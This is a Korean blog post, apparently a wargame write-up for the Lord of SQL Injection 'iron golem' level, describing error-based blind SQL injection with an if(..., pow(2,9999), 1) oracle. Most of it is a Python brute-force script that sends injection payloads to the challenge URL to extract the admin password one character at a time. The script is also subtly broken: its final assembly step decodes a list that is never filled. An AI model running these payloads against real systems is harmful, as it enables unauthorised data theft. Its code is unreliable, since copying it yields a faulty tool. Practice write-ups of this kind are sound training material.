Osori Development Studio

[los]iron golem 본문

전공쪽/Lord of Sql injection

[los]iron golem

OSOR2 2020. 12. 14. 23:23

이제부터 푸는 방법이 바뀌었다. 오류기반 sql injection 기법들을 적극 활용하겠다. 

 

가장 중요하게 쓴 것은 if(조건, ture, false) 였다. 먼저 

if(length(pw)=32, pow(2,9999),1) 을 통해 pw의 길이가 32바이트라는 것을 알았다. 

 

그리고 ascii 인코딩임을 확인하였다. 

이제 substr로 단순한 brute forcing을 진행하였다. 

 

코드는 다음과 같다

#!/usr/bin/python
#-*-coding:utf-8  -*-
import urllib,urllib2,requests

header={"Cookie":"PHPSESSID=****"}
password=''
a=''
for i in range(1,33) : 
	admin=0 
	guest=0
	b=[0,0,0,0]
	
	for k in range(32,0xff) :
		url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=%27%20or%20if(id=%27admin%27%20and%20ascii(substr(pw,"+str(i)+ ",1))="+str(k)+",pow(2,9999),1)%23"
		request=requests.get(url,headers=header)
		if "out of" in request.text :
			print(chr(k))
			break
	a+=chr(b[0])+chr(b[1])+chr(b[2])+chr(b[3])
print(a.decode('utf32'))

'전공쪽 > Lord of Sql injection' 카테고리의 다른 글

[los]hell fire  (0) 2020.12.15
[los]dark eyes  (0) 2020.12.15
[los] dragon  (0) 2020.11.23
[los] xavis  (0) 2020.11.23
[los] nightmare  (0) 2020.11.23